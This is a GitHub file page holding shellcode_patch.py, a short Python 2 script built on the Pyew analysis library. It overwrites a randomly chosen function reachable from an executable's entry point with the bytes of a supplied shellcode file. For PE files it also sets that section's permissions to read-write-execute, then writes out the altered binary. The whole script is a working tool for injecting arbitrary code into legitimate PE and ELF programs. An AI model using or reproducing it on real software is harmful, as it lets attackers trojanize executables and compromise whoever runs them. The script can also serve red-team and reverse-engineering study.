-
Notifications
You must be signed in to change notification settings - Fork 96
/
Copy pathshellcode_patch.py
executable file
·109 lines (91 loc) · 2.99 KB
/
shellcode_patch.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/python
import sys
import random
import pefile
from pyew_core import CPyew
class CPatcher:
def __init__(self, binary, sc, out):
self.binary = binary
self.sc = sc
self.out = out
self.pyew = CPyew(False, False)
self.sc_buf = None
def loadFiles(self):
try:
self.pyew.deepcodeanalysis = False
print "[+] Loading and analysing file %s" % self.binary
self.pyew.loadFile(self.binary)
except:
print "[!] Error loading binary file:", sys.exc_info()[1]
return False
try:
self.sc_buf = open(self.sc, "rb").read()
except:
print "[!] Error reading shellcode file:", sys.exc_info()[1]
return False
if self.pyew.format not in ["PE", "ELF"]:
print "[!] Format %s not supported" % self.pyew.format
return False
print "[i] Total of %d function(s) found in %s file" % (len(self.pyew.functions), self.pyew.format)
print "[i] Entry point function %s at 0x%08x" % (self.pyew.names[self.pyew.ep], self.pyew.ep)
return True
def internalPatch(self, off):
""" Patch at offset 'off' with the contents of the shellcode """
buf = self.pyew.getBuffer()
out_buf = buf[:off] + self.sc_buf + buf[off+len(self.sc_buf):]
# Adjust section's privileges for PE files
if self.pyew.format == "PE":
pe = pefile.PE(data=out_buf)
IMAGE_SCN_MEM_READWRITEEXEC = 0xe0000000L
for section in pe.sections:
if off >= section.PointerToRawData and off <= section.PointerToRawData+section.SizeOfRawData:
print "[+] Patching section %s" % section.Name
section.Characteristics |= IMAGE_SCN_MEM_READWRITEEXEC
try:
print "[+] Writing output file %s" % self.out
if self.pyew.format != "PE":
f = open(self.out, "wb")
f.write(out_buf)
f.close()
else:
pe.write(self.out)
return True
except:
print "[!] Error writing output file", sys.exc_info()[1]
return False
def findFunctionAndPatch(self):
""" Find a random function called from the entry point to patch """
g = self.pyew.callgraph
funcs = g.nodes()
ep = g.node(self.pyew.names[self.pyew.ep])
while 1:
f = random.choice(funcs)
if f == ep:
continue
path = g.searchPath(ep, f)
if path is not None:
f = self.pyew.getFunction(f.name)
print "[i] Function at offset 0x%08x will be patched" % f
break
return self.internalPatch(f)
def patch(self):
if self.loadFiles():
return self.findFunctionAndPatch()
return False
def main():
bin = sys.argv[1]
sc = sys.argv[2]
out = sys.argv[3]
patcher = CPatcher(bin, sc, out)
if patcher.patch():
print "[+] All finished!"
def usage():
print "Example Pyew script for patching an executable's random function"
print "with a given shellcode."
print
print "Usage:", sys.argv[0], "<executable> <shellcode file> <output file>"
if __name__ == "__main__":
if len(sys.argv) < 4:
usage()
else:
main()